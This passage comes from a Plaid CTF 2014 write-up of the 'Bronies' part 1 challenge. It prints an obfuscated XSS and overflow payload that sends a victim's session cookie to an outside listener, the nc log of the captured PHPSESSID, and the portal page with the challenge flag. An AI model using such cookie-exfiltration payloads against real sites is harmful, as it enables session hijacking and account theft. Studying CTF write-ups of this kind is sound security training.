	document.getElementById("otp").value = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@\xa0\x04\x08";
	document.getElementById("password").value = "\x16YIXCZ^\x14NEI_GOD^\x04FEIK^CED\x17\x08B^^Z\x10\x05\x05Y]KXG\x04IY\x04Z_H\x04XE\x10\x1e\x18\x1e\x18\x1e\x05FEMMOX\x04ZBZ\x15IEEACO\x17\x08\x01NEI_GOD^\x04IEEACO\x11\x16\x05YIXCZ^\x14QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ";
 
	document.getElementById("leet").submit();
</script>

We then send this payload to ponyboy2004 and listen:

rcaragea@swarm:~$ nc -lvp 42424
listening on [any] 42424 ...
connect to [141.85.227.118] from ec2-54-86-3-216.compute-1.amazonaws.com [54.86.3.216] 39769
GET /logger.php?cookie=PHPSESSID=m7fl1csnp5e3nhvgla1t8udp42 HTTP/1.1
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.7 Safari/534.34
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://portal.essolutions.largestctf.com/login.php
Connection: Keep-Alive
Accept-Encoding: gzip
Accept-Language: en-US,*
Host: swarm.cs.pub.ro:42424

Flag capture

We stole his cookie! Enter it in the browser and reload the portal to get:

<!doctype html>
<html>
  <head>
    <title>
      eXtreme Secure Solutions Internal Portal
    </title>
  </head>
  <link rel="stylesheet" type="text/css" charset="utf-8" media="all" href="/style.css">
  <body>
    <div id="box">
        <h1>eXtreme Secure Solutions Internal Portal</h1>
        <div id="notice">
            Flag #1: xss_problem_is_web_problem<br>
            This challenge has one more flag.  Break into the internal server to capture it!
        </div>
        <p>
            You are logged in as ebleford.
        </p>
        <p>
            Reminder: For security reasons, all internet traffic is blocked on the Bigson.
        </p>
        <p>
<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'http://bigson.essolutions.largestctf.com/status', false);
    xhr.send(null);
    if (xhr.responseJSON["status"] == "ok") {
        document.write('The Bigson is up!');
    } else {
        document.write('The Bigson is down!');
    }
</script>
        </p>
        <ul id="menu">
            <li><a href="http://bigson.essolutions.largestctf.com/index?file=index.html">The Bigson</a></li>
            <li><a href="/logout.php">Logout</a></li>
        </ul>
    </div>
  </body>
</html>

Conclusion of first part

We got the first flag and some info on how to get the second flag:

  • bigson.essolutions.largestctf.com which resolves to 10.15.0.5 so we will do all access to it using the mechanism built so far.
  • the bigson is accessed through XMLHttpRequest. Maybe we can use it for ourselves too.

2nd part: Plaid CTF 2014: "Bronies" Part 2. 500 out of 800 pts

writeups/pctf2014_bronies1.txt · Last modified: 2014/04/23 08:41 by vladum
[unknown link type]Back to top